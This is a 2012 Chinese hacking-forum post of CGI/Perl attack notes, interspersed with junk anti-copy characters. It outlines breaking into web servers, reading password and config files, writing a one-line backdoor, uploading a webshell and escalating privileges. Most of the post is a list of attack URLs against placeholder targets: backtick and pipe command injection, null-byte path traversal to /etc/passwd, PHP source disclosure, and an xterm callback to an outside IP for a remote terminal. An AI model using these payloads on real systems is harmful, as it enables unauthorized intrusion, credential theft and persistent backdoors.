找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2803|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  ; p7 L  ]6 `9 K
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  - b! o' S$ \+ i5 @0 J' L0 d
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ) g& L0 _/ B" ]
注“  
. E" f& F4 X+ X) Q; Pperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  . @& Z8 z8 F9 g) _
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  ( c' q6 V5 Y5 h+ i3 l4 M& v' Q2 O
6 d/ c: q. Q$ W2 e: s- t; V. \
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
" Z) \& q; X& P9 Zhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  8 [( v& G" b' L2 q! H' F2 P
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  : v' ~  A8 h9 c6 g1 ]
http://target.com/cgi-bin/home/news/sub.pl?`id`  
* u9 F  w0 P3 a, [7 g) k) M; F# O) Thttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
8 n) j4 `! Z* B7 t* R" Zhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  2 ?; F7 L. |( |0 J- A
0 Q2 e: N, L  p; f
http://target.com/test.pl;ls|  
! q  j! e5 D$ `( _2 M# ]1 Ehttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
0 r7 s' ?- @* y+ R4 }http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
% T, u0 v" O  }7 thttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  + M4 ^. r& k4 J6 J# d
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
' j) Q7 X$ A0 ]' qhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  , s# r# z6 h+ N- t0 s. b& P
+ l, H& [  Y6 N) M& q2 c
http://target.com/test.pl?&........ /../../etc/passwd  
) h6 K; B* I  W5 Q' Y- l& ?0 d, p  w0 u  p7 t
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
7 N! ~% A- l! w+ D& l% e3 rhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了    Y. }8 A% B' }$ \
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
: R  [( R  h# g+ r+ x$ d9 c( L3 B. e' B% v# d3 k
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
7 R/ \  i5 _( O/ [/ g, |http://www.target.org/show.php?f ... ng/admin/global.php  
" G1 h  {& _( w8 f2 [5 r. R# _: Y5 d; ^. A. Q- _8 @
emm和ps的一句话
4 F/ V# ?, G% V( R% O# F9 I$ p5 a" f: W) n' x7 V3 b
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
( O3 {2 }) m& q, R
0 |2 b+ d8 K3 I9 @4 t! }1 P>bbb%20|  
8 V3 Q+ \0 `! z/ Q7 |( z: C8 x- P: @0 n7 Q
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
( K) ~3 V, z& M( `) I7 z
2 w; u  b) j4 m, phttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  7 T( x2 Z" ?4 U! Q3 _
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  7 C& X& c$ Y$ U

3 _! \" |9 \* Z4 m( \! Q9 I相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  ; |% {9 w: g& }! N6 g2 N: ]" w
http://target.com/index.html#cmd.exe  6 u5 s0 v, P3 l, r4 b" h
http://target.com/index.html?dummyparam=xp_cmdshell  
3 j6 m# X3 N) u8 P" e- [& flynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  9 v# \2 B) x% b3 S) V7 X. ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表